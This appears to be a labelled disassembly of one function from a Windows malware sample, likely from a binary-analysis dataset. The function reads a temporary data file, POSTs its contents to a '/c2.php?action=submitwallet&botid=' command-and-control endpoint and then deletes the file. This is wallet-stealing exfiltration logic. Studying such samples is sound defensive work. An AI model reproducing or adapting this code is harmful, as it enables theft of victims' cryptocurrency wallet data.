Function at 0x140007980
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push rbp
push r12
push r13
push r15
sub rsp, 0x58
xor r13d, r13d
mov r12, rdx
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rbp, rcx
mov dword [rsp + 0x20], 3
lea r8d, [r13 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140007a8c
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8d, [r13 + 0x17]
lea rdx, str.Faild_to_open_the_file
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8d, [r13 + 0x14]
lea rdx, str.TempDataFilePath__:
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r8, r15
nop
inc r8
cmp byte [r8 + rbp], r13b
jne 0x140007a30
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], r13
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea rdx, [0x14000b714]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
add rsp, 0x58
pop r15
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x80], rbx
xor edx, edx
mov qword [rsp + 0x50], rsi
mov rcx, r15
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rbx, qword [0x14000d488]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
mov edx, 8
mov rcx, rax
call rbx
lea r9, [rsp + 0x98]
mov qword [rsp + 0x20], r13
mov r8d, esi
mov rdx, rax
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 8]
call rbx
mov rbx, qword [0x14000d488]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
mov edx, 8
mov rcx, rax
call rbx
mov qword [r15], rax
mov rcx, rax
mov dword [r15 + 8], esi
test rax, rax
je 0x140007b60
test r14, r14
je 0x140007b60
test esi, esi
je 0x140007b60
sub r14, rax
nop word [rax + rax]
movzx eax, byte [r14 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
add esi, 0xffffffff
jne 0x140007b50
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call rbx
lea rdx, str._c2.php
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str._actionsubmitwallet
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.botid
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [0x14000d438]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x14000bad0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, r12
call fcn.1400018c0
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [0x14000d018]
lea rdx, str.POST
mov r9, r15
mov r8, r14
call fcn.140001ca0
mov rcx, rax
call fcn.140001dc0
mov rdi, qword [0x14000d488]
mov rsi, rax
mov ebx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call rdi
mov edx, dword [rsi + 8]
mov r8, qword [rsi]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
test rax, rax
je 0x140007c60
test r8, r8
je 0x140007c60
test edx, edx
je 0x140007c60
sub r8, rax
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
mov byte [rax], cl
lea rax, [rax + 1]
add edx, 0xffffffff
jne 0x140007c50
mov rbx, qword [0x14000d458]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x80]
add rsp, 0x58
pop r15
pop r13
pop r12
pop rbp
ret